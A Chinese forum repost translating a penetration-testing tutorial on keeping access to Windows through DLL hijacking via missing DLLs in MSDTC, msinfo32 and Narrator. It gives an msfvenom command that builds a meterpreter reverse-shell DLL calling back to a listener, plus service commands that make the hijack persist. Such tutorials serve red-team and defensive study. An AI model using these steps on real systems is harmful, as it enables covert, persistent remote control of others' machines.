(转载翻译)持久性DDL劫持

nicky   ·   发表于 2020-03-17 10:11:33   ·   技术文章

当程序启动时,许多DDL将被加载到其进程的内存空间中。Windows会通过按照特定顺序查看系统文件夹来搜索该过程所需的DDL。劫持搜索顺序可用于红队场景当中,已识别提权升级和寻找劫持的机会。

此外,报告还显示了常见的恶意软件会尝试伪装成windows程序中缺少的DLL,以便执行任意代码并保持隐藏状态。有关DDL劫持的攻击面很大,并且它是基于Windows版本系统和安装的软件。本文介绍了window7和window10中使用的一些最值得注意的功能。

MSDTC

分布式事务处理协调器是window服务,负责协调数据库(SQL Server)和web服务器之间的事务。启动这项服务的时候,它会尝试从System32中加载以下3个DLL:
oci.dll
SQLLib80.dll
xa80.dll

这些在以下注册表项中定义:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI

在默认的windows安装中,system32文件中会缺少”oci.dll”。这样就有机会在该文件夹中植入一个具有相同名称(需要管理员权限)的任意DLL。然后可以在Kali中使用Metasploit的实用程序中”msfvenom”可以生成有效payload的DLL文件。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.13 LPORT=8888 -f dll > pentestlab.dll

分布式事务处理协调器可以从window服务中开启,也可以通过提升权限的shell执行以下命令启动:
net start msdtc

当进程启动的时候,将会执行任意DLL,并且会使用网络服务的特权打开Meterpreter会话

在进程资源管理器中查看”msdtc”进程可以验证DLL是否已加载到进程中

如果在提升权限的CMD下执行以下操作,就可以把权限提为管理员:
msdtc -install

从Meterpreter会话中执行”getid”将验证该进程是否在本地管理员”pentestlab”下运行。

默认情况下,由于启动类型设置为”手动”,因此“msdtc”服务未配置为在启动时启动,将服务配置为在引导时自动启动将加载任意DDL,并可以在系统上永久创建DLL。
sc qc msdtc
sc config msdtc start= auto

信息系统

2013年,亚当在他的博客写道,虚拟DLL劫持是一种依靠从Windows进程加载缺少特定DLL的任意DLL的技术。Microsoft系统信息工具负责收集有关硬件,软件和系统组件的信息。在现在的window版本当中如8.1和10,此过程试图从System32加载名为”fveapi.dll”中丢失的DLL。在该目录中可以植入与它相同名称的恶意DLL,然后会把DLL加载到”msinfo32.exe”进程中

使用PID4496的Meterpreter会话是msinfo32.exe子进程

Microsoft Narrator是用于windows环境的屏幕阅读应用程序。亚当发现缺少与本地化设置相关的DLL。并且可能会被滥用执行任意代码。DLL从以下位置丢失:
C:\Windows\System32\Speech\Engines\TTS\MSTTSLocEnUS.DLL

从进程资源管理器中可以看到,”narrator.exe”进程启动后,DLL将被加载到该程序中。

引用: Penetration Testing Lab https://pentestlab.blog/2020/03/04/persistence-dll-hijacking/

用户名金币积分时间理由
奖励系统 50.00 0 2020-09-29 14:02:08 投稿满 5 赞奖励

打赏我,让我更有动力~

0 条回复   |  直到 2020-3-17 | 1200 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.